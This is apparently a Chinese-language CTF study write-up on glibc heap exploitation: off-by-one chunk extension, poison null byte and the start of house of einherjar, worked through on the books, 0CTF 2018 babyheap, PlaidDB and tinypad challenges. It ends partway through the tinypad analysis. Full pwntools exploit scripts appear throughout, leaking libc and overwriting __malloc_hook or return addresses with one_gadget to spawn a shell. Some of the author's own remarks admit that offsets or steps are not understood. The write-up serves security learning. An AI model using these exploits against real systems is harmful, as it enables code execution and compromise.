26:0130│      0x7fffffffded8 ◂— 0xca7eb71ec12d1790
27:0138│      0x7fffffffdee0 ◂— 0x0
... ↓
2a:0150│      0x7fffffffdef8 ◂— 0x1
2b:0158│      0x7fffffffdf00 —▸ 0x400a39 ◂— push   rbp
2c:0160│      0x7fffffffdf08 —▸ 0x400d20 ◂— ret    
2d:0168│      0x7fffffffdf10 ◂— 0x0
... ↓
2f:0178│      0x7fffffffdf20 —▸ 0x400780 ◂— xor    ebp, ebp

0x7fffffffde78,其在_libc_start_main+240处,计算偏移量:

pwndbg> fmtarg 0x7fffffffde78
The index of format argument : 32 ("\%31$p")

艹,怎么跟计算的不一样,先挖个坑。

接下来泄露栈地址:因为我们需要如法炮制,修改main函数的返回地址为one_gadget从而get shell,所以我们需要泄露一个栈地址来计算得到main函数的返回地址:

2d:0168│      0x7fffd98c7a80 —▸ 0x7fffd98c7b70 ◂— 0x1
2e:0170│      0x7fffd98c7a88 ◂— 0x7bbac4e44dba700
2f:0178│      0x7fffd98c7a90 —▸ 0x400cb0 ◂— push   r15
30:0180│      0x7fffd98c7a98 —▸ 0x7fcaf9e0b830 (__libc_start_main+240) ◂— mov    edi, eax

这里找到0x7fffd98c7a80,因为其指向的也是一个栈地址。(其他类似的应该也可以)。

这里有一个知识点:函数重新启动时栈地址会有一个固定的偏移,但是栈的结构不变,所以通过这个我们可以得到main函数二次启动时的返回地址。

首先得到泄露的栈地址与main函数返回地址的偏移:

42:0210│      0x7fffd98c7b28 —▸ 0x400d20 ◂— ret    
43:0218│      0x7fffd98c7b30 ◂— 0x0
... ↓
45:0228│      0x7fffd98c7b40 —▸ 0x400780 ◂— xor    ebp, ebp
46:0230│      0x7fffd98c7b48 —▸ 0x7fffd98c7b70 ◂— 0x1
47:0238│      0x7fffd98c7b50 ◂— 0x0
48:0240│      0x7fffd98c7b58 —▸ 0x4007a9 ◂— hlt    
49:0248│      0x7fffd98c7b60 —▸ 0x7fffd98c7b68 ◂— 0x1c
4a:0250│      0x7fffd98c7b68 ◂— 0x1c
4b:0258│      0x7fffd98c7b70 ◂— 0x1

得到偏移为0x48。

再查看二次启动的栈结构,找到main函数的返回地址:

2f:0178│      0x7fffd98c7980 —▸ 0x7fffd98c7a50 —▸ 0x7fcafa1ae5f8 (__exit_funcs) —▸ 0x7fcafa1afc40 (initial) ◂— 0x0
30:0180│      0x7fffd98c7988 —▸ 0x7fcafa1c4c17 (_dl_fini+823) ◂— test   r13d, r13d

得到两个返回地址的偏移为0x1A8,总偏移为0x1E8。

完整代码如下:

#encoding=utf-8
from pwn import *
context.terminal=['gnome-terminal','-x','sh','-c']
#context.log_level='debug'
p=process('./books')
P=ELF('./books')
libc=ELF('/home/countrymagazine/PY2Env/glibc-all-in-one-master/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
def edit(ID,des):
	p.recvuntil('5: Submit\n')
	p.sendline(str(ID))
	p.recvuntil('er:\n')
	p.sendline(des)

def delete(ID):
	p.recvuntil('5: Submit\n')
	p.sendline(str(ID+2))

def submit(payload):
	p.recvuntil('5: Submit\n')
	p.sendline('5'+payload)


fini_arry0=0x6011b8  #0x400830
main_addr=0x400a39
payload = '%'+str(0xa39)+'c%13$hn'+'.%31$p'+',%28$p'
payload = payload.ljust(0x74,'a')
payload = payload.ljust(0x80,'\x00')
payload+= p64(0x90)
payload+= p64(0x151)
"""payload+= 'a'*0x140
payload+= p64(0x150)              
payload+= p64(0x21)               #为了bypass the check: !prev_inuse(next_chunk)
payload+= 'a'*0x10
payload+= p64(0x20)+p64(0x21) """    #为了使0x150的块不和nextchunk合并  
#gdb.attach(p)
delete(2)
edit(1,payload)
gdb.attach(p)
#delete(2)
submit('aaaaaaa'+p64(fini_arry0))
#submit('aaaaaaa')
#gdb.attach(p)

p.recvuntil('.')
p.recvuntil('.')
p.recvuntil('.')
date = p.recv(14)
p.recvuntil(',')
ret_addr = p.recv(14)
date =int(date,16) - 240
ret_addr = int(ret_addr,16) - 0xd8 -0x110
libcbase = date - libc.symbols['__libc_start_main']
one_gadget = libcbase + 0x45216  #0x4526a 0xf02a4 0xf1147
log.success('ret_addr = ' + hex(ret_addr))

#raw_input()
one_shot1 ='0x' + str(hex(one_gadget))[-2:]
one_shot2 ='0x' + str(hex(one_gadget))[-6:-2]
one_shot1 = int(one_shot1,16)
one_shot2 = int(one_shot2,16)

payload = '%' + str(one_shot1) + 'd%13$hhn'
payload+= '%' + str(one_shot2-one_shot1) + 'd%14$hn'
payload=payload.ljust(0x74,'a')
payload=payload.ljust(0x80,'\x00')
payload+=p64(0x90)
payload+=p64(0x151)
payload+= 'a'*0x140
payload+= p64(0x150)
payload+= p64(0x21)
payload+= 'a'*0x10+p64(0x20)+p64(0x21)
#delete(2)
edit(1,payload)
gdb.attach(p)
delete(2)
submit('aaaaaaa'+p64(ret_addr)+p64(ret_addr+1))

p.interactive()

成功get shell 。

(2)拓展已分配块:如果堆块处于使用状态(通常为fast chunk或者small chunk),则需合理设置size域的大小,使得堆块的合并操作能顺利进行。例如直接加上下一个堆块的size,就可在释放时完全覆盖下一个堆块,在下一次分配的时候,即可造成堆块重叠。该方法的成功在于free()完全根据size域来判断一个将被释放的堆块的大小。

例题:0CTF 2018 babyheap

查看程序的防护:

countrymagazine@countrymagazine-virtual-machine:/mnt/hgfs/与虚拟机交互/0ctf2018$ checksec babyheap2018
[*] '/mnt/hgfs/与虚拟机交互/0ctf2018/babyheap2018'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    RUNPATH:  b'./'

防护全开。该程序与2017 0ctf babyheap大致相同,不详细分析。

void __fastcall sub_D54(__int64 a1)
{
  signed int i; // [rsp+10h] [rbp-10h]
  signed int v2; // [rsp+14h] [rbp-Ch]
  void *v3; // [rsp+18h] [rbp-8h]

  for ( i = 0; i <= 15; ++i )
  {
    if ( !*(_DWORD *)(24LL * i + a1) )
    {
      printf("Size: ");
      v2 = sub_140A();
      if ( v2 > 0 )
      {
        if ( v2 > 88 )   //限制大小
          v2 = 88;
        v3 = calloc(v2, 1uLL);
        if ( !v3 )
          exit(-1);
        *(_DWORD *)(24LL * i + a1) = 1;
        *(_QWORD *)(a1 + 24LL * i + 8) = v2;
        *(_QWORD *)(a1 + 24LL * i + 16) = v3;
        printf("Chunk %d Allocated\n", (unsigned int)i);
      }
      return;
    }
  }
}

不同点一:限制了申请堆块的大小,最多只能申请到0x58个字节的堆块。

int __fastcall sub_E88(__int64 a1)
{
  unsigned __int64 v1; // rax
  signed int v3; // [rsp+18h] [rbp-8h]
  int v4; // [rsp+1Ch] [rbp-4h]

  printf("Index: ");
  v3 = sub_140A();
  if ( v3 >= 0 && v3 <= 15 && *(_DWORD *)(24LL * v3 + a1) == 1 )
  {
    printf("Size: ");
    LODWORD(v1) = sub_140A();
    v4 = v1;
    if ( (signed int)v1 > 0 )
    {
      v1 = *(_QWORD *)(24LL * v3 + a1 + 8) + 1LL;   //能够溢出一个字节
      if ( v4 <= v1 )  //与size大小相同
      {
        printf("Content: ");
        sub_1230(*(_QWORD *)(24LL * v3 + a1 + 16), v4);
        LODWORD(v1) = printf("Chunk %d Updated\n", (unsigned int)v3);
      }
    }
  }
  else
  {
    LODWORD(v1) = puts("Invalid Index");
  }
  return v1;
}

漏洞点:存在off-by-one漏洞,而且可以自主控制。

首先肯定要泄露出libc基址,方向为利用unsorted bin泄露。但是最多只能申请0x58个字节,达不到unsorted bin的要求,所以要利用off-by-one修改堆块的size域,然后将其free掉,在造成堆块重叠的同时创建出一个unsorted chunk,但是这样的话还无法创造出信息差,信息差只存在于重叠的chunk2,所以有一个技巧:我们再次申请一个chunk1大小的chunk,这样unsorted chunk就会将chunk1分配出去,这样unsorted bin就转移到存在信息差的chunk2上了。以防万一,我们将heap的地址也泄露了。也是利用有信息差的chunk2,我们申请chunk2大小的chunk,得到chunk4,然后随便free掉一个,这时程序认为还有一个chunk存在,这样便能泄露出chunk的fd和bk域。

注意填写size域的大小,要恰好为chunk1+chunk2,否则不能通过检测。

如果只free掉chunk4的话,那么fastbin只有一个chunk,fd域为零,无法获取堆地址。

#encoding=utf-8
from pwn import*
sh = process('./0ctf2018/babyheap2018')
libc = ELF('./0ctf2018/libc-2.24.so')
context.terminal=['gnome-terminal','-x','sh','-c']
def alloc(size):
    sh.sendlineafter("Command: ",'1')
    sh.sendlineafter("Size: ",str(size))
def update(index,content):
    sh.sendlineafter("Command: ",'2')
    sh.sendlineafter("Index: ",str(index))
    sh.sendlineafter("Size: ",str(len(content)))
    sh.sendlineafter("Content: ",content)
def delete(idx):
    sh.sendlineafter("Command: ",'3')
    sh.sendlineafter("Index: ",str(idx))
def view(index):
    sh.sendlineafter("Command: ",'4')
    sh.sendlineafter("Index: ",str(index))
    
alloc(0x48)  #chunk0
alloc(0x48)  #chunk1
alloc(0x48)  #chunk2
alloc(0x48)  #chunk3

#gdb.attach(sh)

payload = 'A'*0x48 + p8(0xa1)
update(0,payload)   #off-by-one


delete(1)  #此时chunk1与chunk2重叠

#gdb.attach(sh)

alloc(0x48)  #分配chunk1
view(2)
sh.recvuntil("]: ")
leak_addr = u64(sh.recv(8))

alloc(0x48)  #chunk4
delete(1)    #形成fastbin以获取堆地址
delete(4)
gdb.attach(sh)
view(2)
sh.recvuntil("]: ")
heap_addr = u64(sh.recv(8))

log.info("leak_addr: 0x%x" % leak_addr)
log.info("heap_addr: 0x%x" % heap_addr)

接下来要劫持malloc_hook,2017年的题目是利用fastbin连接到fake chunk处,但是这道题最多只能申请0x58,达不到要求的0x70,所以需要另外寻找解决方法。

main_arena中有一个top指针,指向top chunk,如果能够使其指向_malloc_hook的上方,即可在__malloc_hook上分配堆块。那如何修改该指针?我们可以利用同样位于main_arena中的fastbinsY,这个数组用于保存fastbin,也就是以0x56(或0x55)开头的地址,而0x56正好在fastbin的大小范围内,所以我们可以制造fake chunk。利用fake chunk将chunk中的指向top chunk的指针修改为在malloc_hook之上的某个地址,就大功告成了。

#gdb.attach(sh)
alloc(0x58)
delete(1)
#gdb.attach(sh)
payload = p64(main_arena_addr+0x25)
update(2,payload)
#其实这段我不是很能理解,为什么还要额外申请一个0x58的,直接找对位置不好码?算了,先这样记着。

malloc_hook = libc.symbols['__malloc_hook'] + libc_base
log.info("__malloc_hook_addr: 0x%x" % malloc_hook)
#gdb.attach(sh)
alloc(0x48)  #chunk1

alloc(0x48)  #将fake chunk申请出来,注意:0x55不符合chunk的分配规则,故需要多次尝试
#chunk4

payload = 'A'*0x23 + p64(malloc_hook-0x10)

update(4,payload)

#gdb.attach(sh)

alloc(0x48) #chunk5
one_gadget = 0x455aa + libc_base
payload = p64(one_gadget)
update(5,payload)

alloc(1)
sh.interactive()

注意:利用fastbinY其实是利用main_arena中存储着堆的地址,而经过调试得到这些堆的地址是以0x56,开始的,这里可能与这些堆的大小有关,所以只要计算好偏移,就能使得0x56成为堆块的size域,进而构造fake chunk。

关于fastbin:这时的内存结构是这样的:freechunk1→freechunk2,这时我们改变free chunk1的fd域的话,就会变成:freechunk1→fake chunks,所以我们要先申请freechunk2,再申请fake chunks。

剩下的没什么好说的了,另外,fastbin的fd指向的是chunk的头部。

完整代码:

#encoding=utf-8
from pwn import*
sh = process('./0ctf2018/babyheap2018')
libc = ELF('/home/countrymagazine/PY2Env/glibc-all-in-one-master/libs/2.24-3ubuntu1_amd64/libc-2.24.so')
context.terminal=['gnome-terminal','-x','sh','-c']
context.log_level='debug'
def alloc(size):
    sh.sendlineafter("Command: ",'1')
    sh.sendlineafter("Size: ",str(size))
def update(index,content):
    sh.sendlineafter("Command: ",'2')
    sh.sendlineafter("Index: ",str(index))
    sh.sendlineafter("Size: ",str(len(content)))
    sh.sendlineafter("Content: ",content)
def delete(idx):
    sh.sendlineafter("Command: ",'3')
    sh.sendlineafter("Index: ",str(idx))
def view(index):
    sh.sendlineafter("Command: ",'4')
    sh.sendlineafter("Index: ",str(index))
    
alloc(0x48)  #chunk0
alloc(0x48)  #chunk1
alloc(0x48)  #chunk2
alloc(0x48)  #chunk3

#gdb.attach(sh)

payload = 'A'*0x48 + p8(0xa1)
update(0,payload)   #off-by-one


delete(1)  #此时chunk1与chunk2重叠

#gdb.attach(sh)

alloc(0x48)  #分配chunk1
view(2)
sh.recvuntil("]: ")
leak_addr = u64(sh.recv(8))
libc_base = leak_addr - 88 -0x3c1b00

alloc(0x48)  #chunk4
delete(1)    #形成fastbin以获取堆地址
delete(4)
#gdb.attach(sh)
view(2)
sh.recvuntil("]: ")
heap_addr = u64(sh.recv(8))-0x50
main_arena_addr = leak_addr - 88

log.info("leak_addr: 0x%x" % leak_addr)
log.info("main_arena_addr: 0x%x" % main_arena_addr)
log.info("libc_base: 0x%x" % libc_base)
log.info("heap_addr: 0x%x" % heap_addr)
#gdb.attach(sh)
alloc(0x58)
delete(1)
#gdb.attach(sh)
payload = p64(main_arena_addr+0x25)
update(2,payload)


malloc_hook = libc.symbols['__malloc_hook'] + libc_base
log.info("__malloc_hook_addr: 0x%x" % malloc_hook)
#gdb.attach(sh)
alloc(0x48)  #chunk1

alloc(0x48)  #将fake chunk申请出来,注意:0x55不符合chunk的分配规则,故需要多次尝试
#chunk4

payload = 'A'*0x23 + p64(malloc_hook-0x10)

update(4,payload)

#gdb.attach(sh)

alloc(0x48) #chunk5
one_gadget = 0x455aa + libc_base
payload = p64(one_gadget)
update(5,payload)

alloc(1)
sh.interactive()

(3)收缩被释放块(poison

null byte):针对溢出字节只能为0的情况

毒空指针1

毒空指针2

该方法的重点在于能够阻碍prev_size的更新,例如上述例子中,0x110变为0x100,那么分配两个chunk时,剩下的unsorted bin便会变为0x21,此时还剩下0x10的空间,这时候系统将会误以为其为下一个chunk的prev_size和size字段,导致真正的prev_size字段没有办法更新。接下来就能造成堆块重叠。

例题:Plaid CTF 2015: PlaidDB
char *sub_1040()
{
  char *v0; // r12
  char *v1; // rbx
  size_t v2; // r14
  struct _IO_FILE *v3; // rdi
  char v4; // al
  char v5; // bp
  signed __int64 v6; // r13
  char *v7; // rax

  v0 = (char *)malloc(8uLL);    //addr
  v1 = v0;
  v2 = malloc_usable_size(v0);   //size
  while ( 1 )
  {
    v3 = stdin;
    v4 = _IO_getc(stdin);
    v5 = v4;               //data
    if ( v4 == -1 )
      sub_1020(v3);
    if ( v4 == 10 )    //回车
      break;
    v6 = v1 - v0;    //物理地址的间隔,也就是中间存储空间的大小
    if ( v2 <= v1 - v0 )
    {
      v7 = (char *)realloc(v0, 2 * v2);
      v0 = v7;
      if ( !v7 )
      {
        puts("FATAL: Out of memory");
        exit(-1);
      }
      v1 = &v7[v6];
      v2 = malloc_usable_size(v7);
    }
    *v1++ = v5;    //从这里可以看出v0和v1共同组成堆块的边界,当v1与v0的间隔超过size值时,堆块大小便会变为size的两倍
  }
  *v1 = 0;         //疑似off-by-one的漏洞点
  return v0;
}

需要注意的是malloc_usable_szie函数,其返回值符合chunk的大小规律,可用以下代码计算出返回值:

#include<malloc.h>
#include<stdio.h>
void malloc_test(int a)
{
	char* array = (char*)malloc(a*sizeof(char));
	int ntem = 0;
	ntem= malloc_usable_size(array);
	printf("ntem: %d\n", ntem);
	free(array);
}
int main()
{
	int k = 0;
	while (1)
	{
		scanf("%d",&k);
		malloc_test(k);
	}
	
}

由以上得知,地址差比存储空间的值少了一个字节,所以当我们输入0x18、0x38、0x78大小的内容时,由于point的最后一位置零,会导致off-by-one漏洞。

程序datastore的存储系统是一个二叉树的数据结构,可惜树的生成代码没能看懂。大致看下来程序还存在UFA问题,不过基本没有可用的指针。

个人理解下的数据结构体为:

struct Node{
	char* key_ptr;
	long data_size;
	char* data_ptr;
	struct Node *left;
	struct Node *right;
	
	//还有两个成员我分析不出来,不过应该够用了
}

下面来逆向分析。

[*] '/mnt/hgfs/与虚拟机交互/plaiddb.elf'
    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    Canary found
    NX:       NX enabled
    PIE:      PIE enabled
    FORTIFY:  Enabled

首先程序开启了Full RELRO保护,所以通过got表劫持肯定是做不到了,方法应该为劫持malloc_hook函数。所以我们必定要得到程序的libc基址,需要进行泄露。

看到泄露函数GET,其能够打印出data段的数值,所以要利用data段泄露数据。虽然程序存在off-by-one漏洞,但是其并没有上一题一样的利用手段,即溢出的字节能够影响到输出的内容,这里的溢出字节附近只有数据值而没有堆块的地址值,所以这里考虑常规方法,即利用unsorted bin的特性解决。-

当我们free掉一个超过fastbin大小的chunk(0x20-0x80)时,其会被插入unsorted bin头部。若此时unsorted bin中仅有这一个chunk,并且该chunk的下一个块不是top_chunk,那么这个chunk的fd和bk指针均指向unsorted bin的起始地址。

结合以下公式:

main_arena_addr = unsortedbin_addr - unsortedbin_offset_main_arena(88)
libc_base = main_arena_addr - main_arena_offset(0x3c4b20)

得到libc基址。

参考本题,创造出的Node结构体与chunk的fd、bk相对应的位置分别为key_ptr、data_size,可以打印出来,符合条件。

接下来,如果要泄露出chunk中的fd、bk的话,需要满足一个条件:该chunk在被free掉之后仍然被程序认为是一个可用的chunk。也就是创造操作系统与程序的信息差,许多泄露技巧的原理就是于此。

这就需要用到poison null byte技术,以此来造成堆块重叠,制造这样的信息差。首先要创建3个连续的chunk,这里要注意的一点是,Node在生成过程中会临时创建许多在fastbin范围内的chunk,会对chunk的连续性造成干扰,解决办法是先申请数次无用的chunk,在全部释放,这样就不会影响布局了。

for i in range(0,10):
	PUT(str(i),0x38,str(i)*0x37)
for i in range(0,10):
    DEL(str(i))

接下来,依次分配3个chunk:

PUT("A",0X71,"A"*0x70)
PUT("B",0X101,"B"*0X100)
PUT("C",0X81,"C"*0X80)
PUT("def",0x81,"d"*0x80) #申请这个内存是为了防止chunk C在释放时与top chunk合并
#与之前学习的漏洞利用步骤相同,先得出内存布局
DEL("A")
DEL("B")  #由于poison null byte利用于key部分,所以我们需要将chunk A free掉,再重新申请
PUT("A"*0x78,0x11,"A"*0x10)  #poison null byte
PUT("B1",0x81,"X"*0x80)
PUT("B2",0X41,"Y"*0X40)  #内存的分配关系影响应该不大
DEL("B1")
DEL("C") #经过向后合并,B2成功重叠

经过上述步骤,成功创造了适合用于泄露的chunk,chunk B2。这时已经创造出信息差了,操作系统将free chunk合并,认为chunk B2为一个free chunk,而B2并没有在程序的DEL流程执行过,所以程序认为B2是一个正在使用中的chunk。所以可以对B2进行GET操作。

个人再猜测以下,等会儿调试看看,此时合成的一个大小为0x1a0的chunk已经在unsorted bin中了,且此时只有这一个chunk,但是储存关键信息的位置并不位于B2的位置,所以我们需要申请一个B1大小的chunk,从而使得chunk B2作为unsorted bin的头部:

PUT("B1",0x81,"X"*0x80)
libc_base = u64(GET("B2")[:8])-0X39bb78 #这个偏移应该是调试得来的

得到之后接下来是利用malloc_hook:

将B2伪造成一个大小为0x70字节的chunk,并分配到_malloc__hook-0x23的位置。

DEL("B1")
payload = p64(0)*16 + p64(0) + p64(0x71) #填充B1,修改B2的size域为0x70
payload += p64(0)*12 + p64(0) + p64(0x21) #应该是为了配合B2的size域做出的布局
PUT("B1",0x191,payload.ljust(0x190,"B"))
DEL("B2") #加入fast bin
DEL("B1")
payload = p64(0)*16 + p64(0) + p64(0x71) + p64(malloc_hook-0x23) #修改B2的fd为fake chunk,使其加入fast bin
PUT("B1",0X191,payload.ljust(0x190,"B"))
PUT("D",0x61,"D"*0x60) #依照fast bin先进先出的特点,B2先被分配
payload = p8(0)*0x13 + p64(one_gadget)
PUT("E",0x61,payload.ljust(0x60,"E")) #随后fake chunk被分配,在malloc_hook的位置写入one_gadget

io.sendline("GET")

调试偏移量:

pwndbg> unsort
unsortedbin
all: 0x56082c3eb760 —▸ 0x7efee27beb78 (main_arena+88) ◂— 0x56082c3eb760
得到unsorted_bin的起始位置与main_arean的偏移为880x58
pwndbg> x/20gx 0x56082c3eb760
0x56082c3eb760:	0x4141414141414141	0x0000000000000100
0x56082c3eb770:	0x00007efee27beb78	0x00007efee27beb78    该地址指向unsorted_bin的起始位置
0x56082c3eb780:	0x4242424242424242	0x4242424242424242
0x56082c3eb790:	0x4242424242424242	0x4242424242424242
0x56082c3eb7a0:	0x4242424242424242	0x4242424242424242
0x56082c3eb7b0:	0x4242424242424242	0x4242424242424242
0x56082c3eb7c0:	0x4242424242424242	0x4242424242424242
0x56082c3eb7d0:	0x4242424242424242	0x4242424242424242
0x56082c3eb7e0:	0x4242424242424242	0x4242424242424242
0x56082c3eb7f0:	0x4242424242424242	0x4242424242424242

找到main_arena:

pwndbg> print (void*)&main_arena
$1 = (void *) 0x7efee27beb20 <main_arena>

计算main_arena与libc基地址的偏移(方法与上一题类似):

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
    0x56082b435000     0x56082b438000 r-xp     3000 0      /mnt/hgfs/与虚拟机交互/plaiddb.elf
    0x56082b637000     0x56082b638000 r--p     1000 2000   /mnt/hgfs/与虚拟机交互/plaiddb.elf
    0x56082b638000     0x56082b639000 rw-p     1000 3000   /mnt/hgfs/与虚拟机交互/plaiddb.elf
    0x56082b639000     0x56082b63a000 rw-p     1000 4000   /mnt/hgfs/与虚拟机交互/plaiddb.elf
    0x56082b63a000     0x56082b63b000 rw-p     1000 5000   /mnt/hgfs/与虚拟机交互/plaiddb.elf
    0x56082b63b000     0x56082b63c000 rw-p     1000 6000   /mnt/hgfs/与虚拟机交互/plaiddb.elf
    0x56082b63c000     0x56082b63d000 rw-p     1000 7000   /mnt/hgfs/与虚拟机交互/plaiddb.elf
    0x56082c3eb000     0x56082c40c000 rw-p    21000 0      [heap]
    0x7efee23fb000     0x7efee25bb000 r-xp   1c0000 0      /home/countrymagazine/PY2Env/glibc-all-in-one-master/libs/2.23-0ubuntu3_amd64/libc-2.23.so
    0x7efee25bb000     0x7efee27ba000 ---p   1ff000 1c0000 /home/countrymagazine/PY2Env/glibc-all-in-one-master/libs/2.23-0ubuntu3_amd64/libc-2.23.so
    0x7efee27ba000     0x7efee27be000 r--p     4000 1bf000 /home/countrymagazine/PY2Env/glibc-all-in-one-master/libs/2.23-0ubuntu3_amd64/libc-2.23.so
    0x7efee27be000     0x7efee27c0000 rw-p     2000 1c3000 /home/countrymagazine/PY2Env/glibc-all-in-one-master/libs/2.23-0ubuntu3_amd64/libc-2.23.so
    0x7efee27c0000     0x7efee27c4000 rw-p     4000 0      
    0x7efee27c4000     0x7efee27ea000 r-xp    26000 0      /home/countrymagazine/PY2Env/glibc-all-in-one-master/libs/2.23-0ubuntu3_amd64/ld-2.23.so
    0x7efee29e4000     0x7efee29e9000 rw-p     5000 0      
    0x7efee29e9000     0x7efee29ea000 r--p     1000 25000  /home/countrymagazine/PY2Env/glibc-all-in-one-master/libs/2.23-0ubuntu3_amd64/ld-2.23.so
    0x7efee29ea000     0x7efee29eb000 rw-p     1000 26000  /home/countrymagazine/PY2Env/glibc-all-in-one-master/libs/2.23-0ubuntu3_amd64/ld-2.23.so
    0x7efee29eb000     0x7efee29ec000 rw-p     1000 0      
    0x7ffdeda63000     0x7ffdeda84000 rw-p    21000 0      [stack]
    0x7ffdedade000     0x7ffdedae1000 r--p     3000 0      [vvar]
    0x7ffdedae1000     0x7ffdedae2000 r-xp     1000 0      [vdso]
0xffffffffff600000 0xffffffffff601000 --xp     1000 0      [vsyscall]
pwndbg> p 0x7efee27beb20-0x7efee23fb000 
$2 = 3947296

转换成16进制为0x3c3b20。

寻找fake chunk的过程:

前面已经得出了malloc_hook的地址为0x7f3067ee2b10,接下来输入

pwndbg> find_fake_fast 0x7f3067ee2b10 0x7f

即可找到fake chunk。

最终代码:

#coding=utf-8
from pwn import*
import pwnlib
sh = process('./plaiddb.elf')
libc = ELF('/home/countrymagazine/PY2Env/glibc-all-in-one-master/libs/2.23-0ubuntu3_amd64/libc-2.23.so')
context.log_level = 'debug'
context.terminal=['gnome-terminal','-x','sh','-c']

def PUT(key,size,data):
    sh.sendlineafter("command:","PUT")
    sh.sendlineafter("key",key)
    sh.sendlineafter("size",str(size))
    sh.sendlineafter("data",data)

def GET(key):
    sh.sendlineafter("command:","GET")
    sh.sendlineafter("key",key)
    sh.recvuntil("bytes]:\n")
    return sh.recvline()

def DEL(key):
    sh.sendlineafter("command:","DEL")
    sh.sendlineafter("key",key)

for i in range(0,10):
	PUT(str(i),0x38,str(i)*0x37)
for i in range(0,10):
    DEL(str(i))


def leak_libc():
    global libc_base

    PUT("A",0X71,"A"*0x70)
    PUT("B",0X101,"B"*0X100)
    PUT("C",0X81,"C"*0X80)
    PUT("def",0x81,"d"*0x80) #申请这个内存是为了防止chunk C在释放时与top chunk合并
    #与之前学习的漏洞利用步骤相同,先得出内存布局
    DEL("A")
    DEL("B")  #由于poison null byte利用于key部分,所以我们需要将chunk A free掉,再重新申请
    #gdb.attach(sh)
    PUT("A"*0x78,0x11,"A"*0x10)  #poison null byte
    #gdb.attach(sh)
    PUT("B1",0x81,"X"*0x80)
    PUT("B2",0X41,"Y"*0X40)  #内存的分配关系影响应该不大
    DEL("B1")
    DEL("C") #经过向后合并,B2成功重叠
    #gdb.attach(sh)
    PUT("B1",0x81,"X"*0x80)
    #gdb.attach(sh)
    #pause()
    libc_base = u64(GET("B2")[:8])-(0X3c3b20+0x58) #这个偏移应该是调试得来的
    log.info("libc address: 0x%x" % libc_base)

def pwn():
    one_gadget = libc_base + 0x4525a
    malloc_hook = libc.symbols['__malloc_hook'] + libc_base
    log.info("malloc_hook address: 0x%x" % malloc_hook)
    DEL("B1")
    payload = p64(0)*16 + p64(0) + p64(0x71)
    payload += p64(0)*12 + p64(0) + p64(0x21)
    PUT("B1",0x191,payload.ljust(0x190,"B"))

    DEL("B2")
    DEL("B1")
    payload = p64(0)*16 + p64(0) + p64(0x71) + p64(malloc_hook-0x23)
    PUT("B1",0X191,payload.ljust(0x190,"B"))
    #gdb.attach(sh)
    PUT("D",0x61,"D"*0x60)
    payload = p8(0)*0x13 + p64(one_gadget)
    PUT("E",0x61,payload.ljust(0x60,"E"))
    #gdb.attach(sh)
    sh.sendline("GET")
    sh.interactive()

成功get shell:

plaiddb

(4)house of einherjar:该方法同样针对一处字节只能是0的情况。当溢出堆块的下一个堆块处于使用中时,通过修改其PREV_INUSE位,同时将prev_size域修改为该堆块与目标堆块位置的偏移。在该堆块被释放时,将与上一个被释放堆块合并,造成堆块重叠。

house of einherjar

例题:SECCON CTF 2016: tinypad

代码主要部分:

if ( v4 == 68 )                             // DELETE
	{
      write_n("(INDEX)>>> ", 11LL);
      v11 = read_int("(INDEX)>>> ", 11LL);
      if ( v11 > 0 && v11 <= 4 )
      {
        if ( *&tinypad[16 * (v11 - 1 + 16LL)] )
        {
          free(*&tinypad[16 * (v11 - 1 + 16LL) + 8]);
          *&tinypad[16 * (v11 - 1 + 16LL)] = 0LL;    //UAF漏洞
          writeln("\nDeleted.", 9LL);
        }
        else
        {
          writeln("Not used", 8LL);
        }
      }
      else
      {
        writeln("Invalid index", 13LL);
      }
    }
   else if ( v4 > 68 )
    {
      if ( v4 != 69 )
      {
        if ( v4 == 81 )                         // QUIT
          continue;
          LABEL_43:
        writeln("No such a command", 17LL);
        continue;
      }
      write_n("(INDEX)>>> ", 11LL);             // EDIT
      v11 = read_int("(INDEX)>>> ", 11LL);
      if ( v11 > 0 && v11 <= 4 )
      {
        if ( *&tinypad[16 * (v11 - 1 + 16LL)] )
        {
          c = 48;
          strcpy(tinypad, *&tinypad[16 * (v11 - 1 + 16LL) + 8]);
          while ( toupper(c) != 89 )
          {
            write_n("CONTENT: ", 9LL);
            v6 = strlen(tinypad);
            writeln(tinypad, v6);
            write_n("(CONTENT)>>> ", 13LL);
            v7 = strlen(*&tinypad[16 * (v11 - 1 + 16LL) + 8]);
            read_until(tinypad, v7, 10LL);
            writeln("Is it OK?", 9LL);
            write_n("(Y/n)>>> ", 9LL);
            read_until(&c, 1LL, 10LL);
          }
          strcpy(*&tinypad[16 * (v11 - 1 + 16LL) + 8], tinypad);
          writeln("\nEdited.", 8LL);
        }
        else
        {
          writeln("Not used", 8LL);
        }
      }
      else
      {
        writeln("Invalid index", 13LL);
      }
    }
    else                                        // ADD
    {
      if ( v4 != 65 )
        goto LABEL_43;
      while ( v11 <= 3 && *&tinypad[16 * (v11 + 16LL)] )
        ++v11;
      if ( v11 == 4 )
      {
        writeln("No space is left.", 17LL);
      }
      else
      {
        v13 = -1;
        write_n("(SIZE)>>> ", 10LL);
        v13 = read_int("(SIZE)>>> ", 10LL);
        if ( v13 <= 0 )
        {
          v5 = 1;
        }
        else
        {
          v5 = v13;
          if ( v13 > 0x100 )
            v5 = 256;
        }
        v13 = v5;
        *&tinypad[16 * (v11 + 16LL)] = v5;
        *&tinypad[16 * (v11 + 16LL) + 8] = malloc(v13);
        if ( !*&tinypad[16 * (v11 + 16LL) + 8] )
        {
          writerrln("[!] No memory is available.", 27LL);
          exit(-1);
        }
        write_n("(CONTENT)>>> ", 13LL);
        read_until(*&tinypad[16 * (v11 + 16LL) + 8], v13, 10LL);
        writeln("\nAdded.", 7LL);
      }
    }
  }
  while ( v12 != 81 );
  return 0;
}

分析得到主要数据结构:

tinypad
.
.
.
tinypad + 0x100 : size1  content_ptr1
tinypad + 0x110 : size2  content_ptr2
tinypad + 0x120 : size3  content_ptr3
tinypad + 0x130 : size4  content_ptr4
unsigned __int64 __fastcall read_until(__int64 a1, unsigned __int64 a2, unsigned int a3)
{
  int v4; // [rsp+Ch] [rbp-34h]
  unsigned __int64 i; // [rsp+28h] [rbp-18h]
  __int64 v6; // [rsp+30h] [rbp-10h]

  v4 = a3;
  for ( i = 0LL; i < a2; ++i )
  {
    v6 = read_n(0LL, a1 + i, 1LL);
    if ( v6 < 0 )
      return -1LL;
